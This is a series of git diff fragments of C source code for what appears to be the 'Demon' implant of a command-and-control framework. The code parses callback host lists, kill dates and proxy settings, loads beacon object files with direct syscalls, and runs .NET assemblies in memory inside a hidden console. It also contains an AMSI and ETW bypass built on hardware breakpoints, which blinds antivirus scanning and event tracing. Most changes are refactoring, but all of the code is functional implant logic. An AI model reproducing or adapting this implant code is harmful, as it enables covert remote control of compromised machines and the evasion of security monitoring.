Instance->Config.Implant.ProxyLoading,
|
||||
Instance->Config.Implant.SysIndirect ? "TRUE" : "FALSE",
|
||||
Instance->Config.Implant.AmsiEtwPatch
|
||||
)
|
||||
|
||||
#ifdef TRANSPORT_HTTP
|
||||
Instance->Config.Transport.KillDate = ParserGetInt64( &Parser );
|
||||
PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate )
|
||||
// check if the kill date has already passed
|
||||
if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate )
|
||||
{
|
||||
// refuse to run
|
||||
// TODO: exit process?
|
||||
Instance->Win32.RtlExitUserThread( 0 );
|
||||
}
|
||||
Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser );
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance->Config.Transport.Method = MmHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemCopy( Instance->Config.Transport.Method, Buffer, Length );
|
||||
|
||||
Instance->Config.Transport.HostRotation = ParserGetInt32( &Parser );
|
||||
Instance->Config.Transport.HostMaxRetries = 0; /* Max retries. 0 == infinite retrying
|
||||
* TODO: add this to the yaotl language and listener GUI */
|
||||
Instance->Config.Transport.Hosts = NULL;
|
||||
Instance->Config.Transport.Host = NULL;
|
||||
|
||||
/* J contains our Hosts counter */
|
||||
J = ParserGetInt32( &Parser );
|
||||
PRINTF( "[CONFIG] Hosts [%d]\n:", J )
|
||||
for ( int i = 0; i < J; i++ )
|
||||
{
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Temp = ParserGetInt32( &Parser );
|
||||
|
||||
PRINTF( " - %ls:%ld\n", Buffer, Temp )
|
||||
|
||||
/* if our host address is longer than 0 then lets use it. */
|
||||
if ( Length > 0 ) {
|
||||
/* Add parse host data to our linked list */
|
||||
HostAdd( Buffer, Length, Temp );
|
||||
}
|
||||
}
|
||||
Instance->Config.Transport.NumHosts = HostCount();
|
||||
PRINTF( "Hosts added => %d\n", Instance->Config.Transport.NumHosts )
|
||||
|
||||
/* Get Host data based on our host rotation strategy */
|
||||
Instance->Config.Transport.Host = HostRotation( Instance->Config.Transport.HostRotation );
|
||||
PRINTF( "Host going to be used is => %ls:%ld\n", Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port )
|
||||
|
||||
// Listener Secure (SSL)
|
||||
Instance->Config.Transport.Secure = ParserGetInt32( &Parser );
|
||||
PRINTF( "[CONFIG] Secure: %s\n", Instance->Config.Transport.Secure ? "TRUE" : "FALSE" );
|
||||
|
||||
// UserAgent
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance->Config.Transport.UserAgent = MmHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemCopy( Instance->Config.Transport.UserAgent, Buffer, Length );
|
||||
PRINTF( "[CONFIG] UserAgent: %ls\n", Instance->Config.Transport.UserAgent );
|
||||
|
||||
// Headers
|
||||
J = ParserGetInt32( &Parser );
|
||||
Instance->Config.Transport.Headers = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );
|
||||
PRINTF( "[CONFIG] Headers [%d]:\n", J );
|
||||
for ( INT i = 0; i < J; i++ )
|
||||
{
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance->Config.Transport.Headers[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemSet( Instance->Config.Transport.Headers[ i ], 0, Length );
|
||||
MemCopy( Instance->Config.Transport.Headers[ i ], Buffer, Length );
|
||||
#ifdef DEBUG
|
||||
PRINTF( " - %ls\n", Instance->Config.Transport.Headers[ i ] );
|
||||
#endif
|
||||
}
|
||||
Instance->Config.Transport.Headers[ J + 1 ] = NULL;
|
||||
|
||||
// Uris
|
||||
J = ParserGetInt32( &Parser );
|
||||
Instance->Config.Transport.Uris = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );
|
||||
PRINTF( "[CONFIG] Uris [%d]:\n", J );
|
||||
for ( INT i = 0; i < J; i++ )
|
||||
{
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance->Config.Transport.Uris[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemSet( Instance->Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) );
|
||||
MemCopy( Instance->Config.Transport.Uris[ i ], Buffer, Length );
|
||||
#ifdef DEBUG
|
||||
PRINTF( " - %ls\n", Instance->Config.Transport.Uris[ i ] );
|
||||
#endif
|
||||
}
|
||||
Instance->Config.Transport.Uris[ J + 1 ] = NULL;
|
||||
|
||||
// check if proxy connection is enabled
|
||||
Instance->Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );;
|
||||
if ( Instance->Config.Transport.Proxy.Enabled )
|
||||
{
|
||||
PUTS( "[CONFIG] [PROXY] Enabled" );
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance->Config.Transport.Proxy.Url = MmHeapAlloc( Length + sizeof( WCHAR ) );
|
||||
MemCopy( Instance->Config.Transport.Proxy.Url, Buffer, Length );
|
||||
PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance->Config.Transport.Proxy.Url );
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
if ( Length > 0 )
|
||||
{
|
||||
Instance->Config.Transport.Proxy.Username = MmHeapAlloc( Length );
|
||||
MemCopy( Instance->Config.Transport.Proxy.Username, Buffer, Length );
|
||||
PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance->Config.Transport.Proxy.Username );
|
||||
}
|
||||
else
|
||||
Instance->Config.Transport.Proxy.Username = NULL;
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
if ( Length > 0 )
|
||||
{
|
||||
Instance->Config.Transport.Proxy.Password = MmHeapAlloc( Length );
|
||||
MemCopy( Instance->Config.Transport.Proxy.Password, Buffer, Length );
|
||||
PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance->Config.Transport.Proxy.Password );
|
||||
}
|
||||
else
|
||||
Instance->Config.Transport.Proxy.Password = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
PUTS( "[CONFIG] [PROXY] Disabled" );
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef TRANSPORT_SMB
|
||||
|
||||
Buffer = ParserGetBytes( &Parser, &Length );
|
||||
Instance->Config.Transport.Name = Instance->Win32.LocalAlloc( LPTR, Length );
|
||||
MemCopy( Instance->Config.Transport.Name, Buffer, Length );
|
||||
|
||||
PRINTF( "[CONFIG] PipeName: %ls\n", Instance->Config.Transport.Name );
|
||||
|
||||
Instance->Config.Transport.KillDate = ParserGetInt64( &Parser );
|
||||
PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate )
|
||||
// check if the kill date has already passed
|
||||
if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate )
|
||||
{
|
||||
// refuse to run
|
||||
// TODO: exit process?
|
||||
Instance->Win32.RtlExitUserThread(0);
|
||||
}
|
||||
Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser );
|
||||
#endif
|
||||
|
||||
Instance->Config.Implant.ThreadStartAddr = Instance->Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */
|
||||
Instance->Config.Inject.Technique = INJECTION_TECHNIQUE_SYSCALL;
|
||||
|
||||
ParserDestroy( &Parser );
|
||||
}
|
||||
@@ -1,13 +1,11 @@
|
||||
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Package.h>
|
||||
#include <Common/Macros.h>
|
||||
#include <Inject/InjectUtil.h>
|
||||
#include <Loader/CoffeeLdr.h>
|
||||
#include <Loader/ObjectApi.h>
|
||||
#include <common/Macros.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/CoffeeLdr.h>
|
||||
#include <core/ObjectApi.h>
|
||||
#include <inject/InjectUtil.h>
|
||||
|
||||
#if _WIN64
|
||||
// __imp_
|
||||
@@ -48,10 +46,11 @@ LONG WINAPI VehDebugger( PEXCEPTION_POINTERS Exception )
|
||||
// TODO: obtaining the RequestID this way is almost surely not correct
|
||||
// given that CoffeeFunctionReturn won't point to BOF code but Demon code
|
||||
// also, if two BOFs are running at the same time, this VEH impl won't work
|
||||
if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) )
|
||||
if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) {
|
||||
Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID );
|
||||
else
|
||||
} else {
|
||||
Package = PackageCreate( DEMON_COMMAND_INLINE_EXECUTE );
|
||||
}
|
||||
|
||||
PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION );
|
||||
PackageAddInt32( Package, Exception->ExceptionRecord->ExceptionCode );
|
||||
@@ -194,7 +193,7 @@ BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, P
|
||||
* we overwrite the addresses of some Nt apis to provide
|
||||
* automatic support for syscalls to BOFs
|
||||
*/
|
||||
if ( hLibrary == Instance.Modules.Ntdll )
|
||||
if ( hLibrary == Instance->Modules.Ntdll )
|
||||
{
|
||||
for ( DWORD i = 0 ;; i++ )
|
||||
{
|
||||
@@ -213,7 +212,7 @@ BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, P
|
||||
AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR );
|
||||
AnsiString.Buffer = SymName;
|
||||
|
||||
if ( NT_SUCCESS( Instance.Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) )
|
||||
if ( NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) )
|
||||
return TRUE;
|
||||
|
||||
goto SymbolNotFound;
|
||||
@@ -262,11 +261,11 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE
|
||||
ULONG Protection = 0;
|
||||
ULONG BitMask = 0;
|
||||
|
||||
if ( Instance.Config.Implant.CoffeeVeh )
|
||||
if ( Instance->Config.Implant.CoffeeVeh )
|
||||
{
|
||||
PUTS( "Register VEH handler..." )
|
||||
// Add Veh Debugger in case that our BOF crashes etc.
|
||||
VehHandle = Instance.Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger );
|
||||
VehHandle = Instance->Win32.RtlAddVectoredExceptionHandler( 1, &VehDebugger );
|
||||
if ( ! VehHandle )
|
||||
{
|
||||
PACKAGE_ERROR_WIN32
|
||||
@@ -306,7 +305,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE
|
||||
if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED ) == IMAGE_SCN_MEM_NOT_CACHED )
|
||||
Protection |= PAGE_NOCACHE;
|
||||
|
||||
Success = MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection );
|
||||
Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection );
|
||||
if ( ! Success )
|
||||
{
|
||||
PUTS( "Failed to protect memory" )
|
||||
@@ -318,7 +317,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE
|
||||
if ( Coffee->FunMapSize )
|
||||
{
|
||||
// set the FunctionMap section to READONLY
|
||||
Success = MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY );
|
||||
Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY );
|
||||
if ( ! Success )
|
||||
{
|
||||
PUTS( "Failed to protect memory" )
|
||||
@@ -386,7 +385,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE
|
||||
|
||||
// Remove our exception handler
|
||||
if ( VehHandle ) {
|
||||
Instance.Win32.RtlRemoveVectoredExceptionHandler( VehHandle );
|
||||
Instance->Win32.RtlRemoveVectoredExceptionHandler( VehHandle );
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
@@ -401,21 +400,21 @@ VOID CoffeeCleanup( PCOFFEE Coffee )
|
||||
if ( ! Coffee || ! Coffee->ImageBase )
|
||||
return;
|
||||
|
||||
if ( MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) )
|
||||
if ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) )
|
||||
MemSet( Coffee->ImageBase, 0, Coffee->BofSize );
|
||||
|
||||
Pointer = Coffee->ImageBase;
|
||||
Size = Coffee->BofSize;
|
||||
if ( ! NT_SUCCESS( ( NtStatus = SysNtFreeVirtualMemory( NtCurrentProcess(), &Pointer, &Size, MEM_RELEASE ) ) ) )
|
||||
{
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PRINTF( "[!] Failed to free memory: %p : %lu\n", Coffee->ImageBase, NtGetLastError() );
|
||||
}
|
||||
|
||||
if ( Coffee->SecMap )
|
||||
{
|
||||
MemSet( Coffee->SecMap, 0, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) );
|
||||
Instance.Win32.LocalFree( Coffee->SecMap );
|
||||
Instance->Win32.LocalFree( Coffee->SecMap );
|
||||
Coffee->SecMap = NULL;
|
||||
}
|
||||
}
|
||||
@@ -642,7 +641,7 @@ SIZE_T CoffeeGetFunMapSize( PCOFFEE Coffee )
|
||||
|
||||
VOID RemoveCoffeeFromInstance( PCOFFEE Coffee )
|
||||
{
|
||||
PCOFFEE Entry = Instance.Coffees;
|
||||
PCOFFEE Entry = Instance->Coffees;
|
||||
PCOFFEE Last = Entry;
|
||||
|
||||
if ( ! Coffee )
|
||||
@@ -650,7 +649,7 @@ VOID RemoveCoffeeFromInstance( PCOFFEE Coffee )
|
||||
|
||||
if ( Entry && Entry->RequestID == Coffee->RequestID )
|
||||
{
|
||||
Instance.Coffees = Entry->Next;
|
||||
Instance->Coffees = Entry->Next;
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -691,13 +690,13 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize
|
||||
* reloc 32-bit offsets to overflow
|
||||
*/
|
||||
|
||||
Coffee = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE ) );
|
||||
Coffee = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE ) );
|
||||
Coffee->Data = CoffeeData;
|
||||
Coffee->Header = Coffee->Data;
|
||||
Coffee->Symbol = C_PTR( U_PTR( Coffee->Data ) + Coffee->Header->PointerToSymbolTable );
|
||||
Coffee->RequestID = RequestID;
|
||||
Coffee->Next = Instance.Coffees;
|
||||
Instance.Coffees = Coffee;
|
||||
Coffee->Next = Instance->Coffees;
|
||||
Instance->Coffees = Coffee;
|
||||
|
||||
#if _WIN64
|
||||
|
||||
@@ -717,7 +716,7 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize
|
||||
|
||||
#endif
|
||||
|
||||
Coffee->SecMap = Instance.Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) );
|
||||
Coffee->SecMap = Instance->Win32.LocalAlloc( LPTR, Coffee->Header->NumberOfSections * sizeof( SECTION_MAP ) );
|
||||
Coffee->FunMapSize = CoffeeGetFunMapSize( Coffee );
|
||||
|
||||
if ( ! Coffee->SecMap )
|
||||
@@ -737,7 +736,7 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize
|
||||
// at the bottom of the BOF, store the Function map, to ensure all reloc offsets are below 4K
|
||||
Coffee->BofSize += Coffee->FunMapSize;
|
||||
|
||||
Coffee->ImageBase = MemoryAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE );
|
||||
Coffee->ImageBase = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE );
|
||||
if ( ! Coffee->ImageBase )
|
||||
{
|
||||
PUTS( "Failed to allocate memory for the BOF" )
|
||||
@@ -792,7 +791,7 @@ END:
|
||||
if ( Coffee )
|
||||
{
|
||||
MemSet( Coffee, 0, sizeof( Coffee ) );
|
||||
Instance.Win32.LocalFree( Coffee );
|
||||
Instance->Win32.LocalFree( Coffee );
|
||||
Coffee = NULL;
|
||||
}
|
||||
}
|
||||
@@ -814,9 +813,9 @@ ExitThread:
|
||||
}
|
||||
|
||||
JobRemove( (DWORD)(ULONG_PTR)NtCurrentTeb()->ClientId.UniqueThread );
|
||||
Instance.Threads--;
|
||||
Instance->Threads--;
|
||||
|
||||
Instance.Win32.RtlExitUserThread( 0 );
|
||||
Instance->Win32.RtlExitUserThread( 0 );
|
||||
}
|
||||
|
||||
VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_T CoffeeDataSize, PVOID ArgData, SIZE_T ArgSize, UINT32 RequestID )
|
||||
@@ -830,10 +829,10 @@ VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_
|
||||
#endif
|
||||
|
||||
// Allocate memory
|
||||
CoffeeParams = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) );
|
||||
CoffeeParams->EntryName = Instance.Win32.LocalAlloc( LPTR, EntryNameSize );
|
||||
CoffeeParams->CoffeeData = Instance.Win32.LocalAlloc( LPTR, CoffeeDataSize );
|
||||
CoffeeParams->ArgData = Instance.Win32.LocalAlloc( LPTR, ArgSize );
|
||||
CoffeeParams = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_PARAMS ) );
|
||||
CoffeeParams->EntryName = Instance->Win32.LocalAlloc( LPTR, EntryNameSize );
|
||||
CoffeeParams->CoffeeData = Instance->Win32.LocalAlloc( LPTR, CoffeeDataSize );
|
||||
CoffeeParams->ArgData = Instance->Win32.LocalAlloc( LPTR, ArgSize );
|
||||
CoffeeParams->EntryNameSize = EntryNameSize;
|
||||
CoffeeParams->CoffeeDataSize = CoffeeDataSize;
|
||||
CoffeeParams->ArgSize = ArgSize;
|
||||
@@ -845,7 +844,7 @@ VOID CoffeeRunner( PCHAR EntryName, DWORD EntryNameSize, PVOID CoffeeData, SIZE_
|
||||
|
||||
InjectionCtx.Parameter = CoffeeParams;
|
||||
|
||||
Instance.Threads++;
|
||||
Instance->Threads++;
|
||||
|
||||
if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, NtCurrentProcess(), x64, CoffeeRunnerThread, CoffeeParams, NULL ) ) {
|
||||
PRINTF( "Failed to create new CoffeeRunnerThread thread: %d", NtGetLastError() )
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,573 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Dotnet.h>
|
||||
#include <core/HwBpExceptions.h>
|
||||
#include <core/Runtime.h>
|
||||
|
||||
#define PIPE_BUFFER 0x10000 * 5
|
||||
|
||||
GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } };
|
||||
GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
|
||||
GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } };
|
||||
GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } };
|
||||
GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } };
|
||||
GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
|
||||
|
||||
BOOL AmsiPatched = FALSE;
|
||||
|
||||
BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments )
|
||||
{
|
||||
PPACKAGE PackageInfo = NULL;
|
||||
SAFEARRAYBOUND RgsBound[ 1 ] = { 0 };
|
||||
BUFFER AssemblyData = { 0 };
|
||||
LPWSTR* ArgumentsArray = NULL;
|
||||
INT ArgumentsCount = 0;
|
||||
LONG idx[ 1 ] = { 0 };
|
||||
VARIANT Object = { 0 };
|
||||
NTSTATUS Status = STATUS_SUCCESS;
|
||||
DWORD ThreadId = 0;
|
||||
HRESULT Result = S_OK;
|
||||
BOOL AmsiIsLoaded = FALSE;
|
||||
|
||||
if ( ! Assembly.Buffer || ! Assembly.Length )
|
||||
return FALSE;
|
||||
|
||||
/* Create a named pipe for our output. try with anon pipes at some point. */
|
||||
Instance->Dotnet->Pipe = Instance->Win32.CreateNamedPipeW(
|
||||
Instance->Dotnet->PipeName.Buffer,
|
||||
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
|
||||
PIPE_TYPE_MESSAGE,
|
||||
PIPE_UNLIMITED_INSTANCES,
|
||||
PIPE_BUFFER, PIPE_BUFFER,
|
||||
0,
|
||||
NULL
|
||||
);
|
||||
|
||||
if ( ! Instance->Dotnet->Pipe )
|
||||
{
|
||||
PRINTF( "CreateNamedPipeW Failed: Error[%d]\n", NtGetLastError() )
|
||||
PACKAGE_ERROR_WIN32;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ! ( Instance->Dotnet->File = Instance->Win32.CreateFileW( Instance->Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) )
|
||||
{
|
||||
PRINTF( "CreateFileW Failed: Error[%d]\n", NtGetLastError() )
|
||||
PACKAGE_ERROR_WIN32;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ! Instance->Win32.GetConsoleWindow( ) )
|
||||
{
|
||||
HWND wnd = NULL;
|
||||
|
||||
Instance->Win32.AllocConsole( );
|
||||
|
||||
if ( ( wnd = Instance->Win32.GetConsoleWindow( ) ) )
|
||||
Instance->Win32.ShowWindow( wnd, SW_HIDE );
|
||||
}
|
||||
|
||||
//
|
||||
// hosting common language runtime
|
||||
//
|
||||
if ( ! ClrCreateInstance(
|
||||
Instance->Dotnet->NetVersion.Buffer,
|
||||
& Instance->Dotnet->MetaHost,
|
||||
& Instance->Dotnet->ClrRuntimeInfo,
|
||||
& Instance->Dotnet->ICorRuntimeHost
|
||||
) ) {
|
||||
PUTS( "Couldn't start CLR" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* if Amsi/Etw bypass is enabled */
|
||||
if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP )
|
||||
{
|
||||
#if _WIN64
|
||||
PUTS( "Try to patch(less) Amsi/Etw" )
|
||||
|
||||
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID );
|
||||
PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED );
|
||||
|
||||
/* check if Amsi is loaded */
|
||||
AmsiIsLoaded = TRUE;
|
||||
if ( ! Instance->Modules.Amsi ) {
|
||||
AmsiIsLoaded = RtAmsi();
|
||||
}
|
||||
|
||||
PUTS( "Init HwBp Engine" )
|
||||
/* use global engine */
|
||||
if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread );
|
||||
|
||||
/* add Amsi bypass */
|
||||
if ( AmsiIsLoaded )
|
||||
{
|
||||
PUTS( "HwBp Engine add AmsiScanBuffer bypass" )
|
||||
if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance->Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) {
|
||||
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/* add Etw bypass */
|
||||
PUTS( "HwBp Engine add NtTraceEvent bypass" )
|
||||
if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance->Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) {
|
||||
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PackageTransmit( PackageInfo );
|
||||
PackageInfo = NULL;
|
||||
#endif
|
||||
}
|
||||
else if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) {
|
||||
/* todo: add memory patching technique */
|
||||
}
|
||||
else {
|
||||
/* no patching */
|
||||
}
|
||||
|
||||
/* Let the operator know what version we are going to use. */
|
||||
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID );
|
||||
PackageAddInt32( PackageInfo, DOTNET_INFO_NET_VERSION );
|
||||
PackageAddBytes( PackageInfo, Instance->Dotnet->NetVersion.Buffer, Instance->Dotnet->NetVersion.Length );
|
||||
PackageTransmit( PackageInfo );
|
||||
PackageInfo = NULL;
|
||||
|
||||
RgsBound[ 0 ].cElements = Assembly.Length;
|
||||
RgsBound[ 0 ].lLbound = 0;
|
||||
Instance->Dotnet->SafeArray = Instance->Win32.SafeArrayCreate( VT_UI1, 1, RgsBound );
|
||||
|
||||
PUTS( "CreateDomain..." )
|
||||
if ( ( Result = Instance->Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainName.Buffer, NULL, &Instance->Dotnet->AppDomainThunk ) ) ) {
|
||||
PRINTF( "CreateDomain Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PUTS( "QueryInterface..." )
|
||||
if ( ( Result = Instance->Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance->Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance->Dotnet->AppDomain ) ) ) {
|
||||
PRINTF( "QueryInterface Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ( Result = Instance->Win32.SafeArrayAccessData( Instance->Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) {
|
||||
PRINTF( "SafeArrayAccessData Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PUTS( "Copy assembly to buffer..." )
|
||||
MemCopy( AssemblyData.Buffer, Assembly.Buffer, Assembly.Length );
|
||||
|
||||
if ( ( Result = Instance->Win32.SafeArrayUnaccessData( Instance->Dotnet->SafeArray ) ) ) {
|
||||
PRINTF("SafeArrayUnaccessData Failed: %x\n", Result )
|
||||
PACKAGE_ERROR_WIN32
|
||||
}
|
||||
|
||||
PUTS( "AppDomain Load..." )
|
||||
if ( ( Result = Instance->Dotnet->AppDomain->lpVtbl->Load_3( Instance->Dotnet->AppDomain, Instance->Dotnet->SafeArray, &Instance->Dotnet->Assembly ) ) ) {
|
||||
PRINTF( "AppDomain Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PUTS( "Assembly EntryPoint..." )
|
||||
if ( ( Result = Instance->Dotnet->Assembly->lpVtbl->EntryPoint( Instance->Dotnet->Assembly, &Instance->Dotnet->MethodInfo ) ) ) {
|
||||
PRINTF( "Assembly EntryPoint Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance->Dotnet->MethodArgs = Instance->Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main()
|
||||
|
||||
ArgumentsArray = Instance->Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount );
|
||||
ArgumentsArray++;
|
||||
ArgumentsCount--;
|
||||
|
||||
Instance->Dotnet->vtPsa.vt = ( VT_ARRAY | VT_BSTR );
|
||||
Instance->Dotnet->vtPsa.parray = Instance->Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount );
|
||||
|
||||
for ( LONG i = 0; i < ArgumentsCount; i++ ) {
|
||||
if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->vtPsa.parray, &i, Instance->Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) {
|
||||
PRINTF( "Args SafeArrayPutElement Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
